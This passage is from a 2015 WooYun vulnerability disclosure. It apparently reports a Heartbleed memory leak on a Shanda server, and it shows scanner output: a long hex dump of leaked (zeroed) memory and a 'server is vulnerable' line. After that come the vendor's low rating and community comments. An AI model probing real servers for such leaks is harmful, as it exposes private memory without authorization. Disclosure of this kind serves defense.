  1540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  15c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  16c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  17c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  18c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  19c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  1fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  20c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  21c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  22c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  23c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  24c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  25c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  26c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  27c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  28c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  29c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  2fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  30c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  31c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  32c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  33c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  34c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  35c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  36c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  37c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  38c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  39c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
WARNING: server returned more data than it should - server is vulnerable!

修复方案：

日狗..

版权声明：转载请注明来源 大王叫我去巡山@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2015-04-09 13:20

厂商回复：

biu biu biu!

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-09 11:59 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    运维真是日了狗了

  2. 2015-04-09 11:59 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老，学到老!)

    厂商直播运维日狗

  3. 2015-04-09 11:59 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    又日

  4. 2015-04-09 12:01 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    思聪的日狗大法果然广为流传

  5. 2015-04-09 12:10 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    这个哥们是不是万达的？

  6. 2015-04-09 13:38 | 大物期末不能挂 ( 普通白帽子 | Rank:132 漏洞数:23 | 1.一个学渣，只求每门都不挂2.想把漏洞提...)

    WooYun: 盛大某测试网站心脏出血漏洞 我的洞走的小厂商拿到1rank，洞主的洞上了首页也拿了1rank， 突然有种心里平衡了的感觉怎么办。。。。洞主不要打我

  7. 2015-04-09 13:46 | 大王叫我去巡山 ( 路人 | Rank:7 漏洞数:3 | 大王叫我去巡山)

    要这样玩的话，其他漏洞不提交了，宁愿烂在手里。

  8. 2015-04-09 14:04 | 盛大网络(乌云厂商)

    @大物期末不能挂 你就用工具跑了一下 什么东西都没得到 给五分不少了吧 还有wooyun审核漏洞的人真日了狗了

  9. 2015-04-09 14:20 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @盛大网络 狗哥这几天不停的中枪

  10. 2015-04-09 19:19 | 大物期末不能挂 ( 普通白帽子 | Rank:132 漏洞数:23 | 1.一个学渣，只求每门都不挂2.想把漏洞提...)

    @盛大网络 你误解了我的意思了。我没有觉得少，只是之前感觉都是果壳，我的走的小厂商，别人却在首页，心里略微有点不平衡而已。本人说话比较直，所以看到rank之后就感觉心里落差一下子没了，所以就回复了一句。可能给洞主造成了心里负担以及给厂家造成了误解，我表示抱歉。

  11. 2015-04-10 09:44 | 盛大网络(乌云厂商)

    @大物期末不能挂 这个之所以给1分 你们都看到了 他用词太下流 太下流！

  12. 2015-04-10 10:20 | xtnnd ( 普通白帽子 | Rank:180 漏洞数:43 )

    真是太下流 太下流！

  13. 2015-05-24 13:34 | 绽放的菊花 ( 路人 | Rank:17 漏洞数:2 | 绽放中的菊花)

    既然卖萌，biu biu biu

  14. 2015-05-24 13:50 | 黑名单 ( 实习白帽子 | Rank:60 漏洞数:13 | 像个傻瓜似的，为什么。)

    真是太下流 太下流！

  15. 2015-05-24 14:15 | 小红猪 ( 普通白帽子 | Rank:194 漏洞数:30 | Wow~~~哈哈~~~)

    biu biu biu，被萌倒了，啦我一把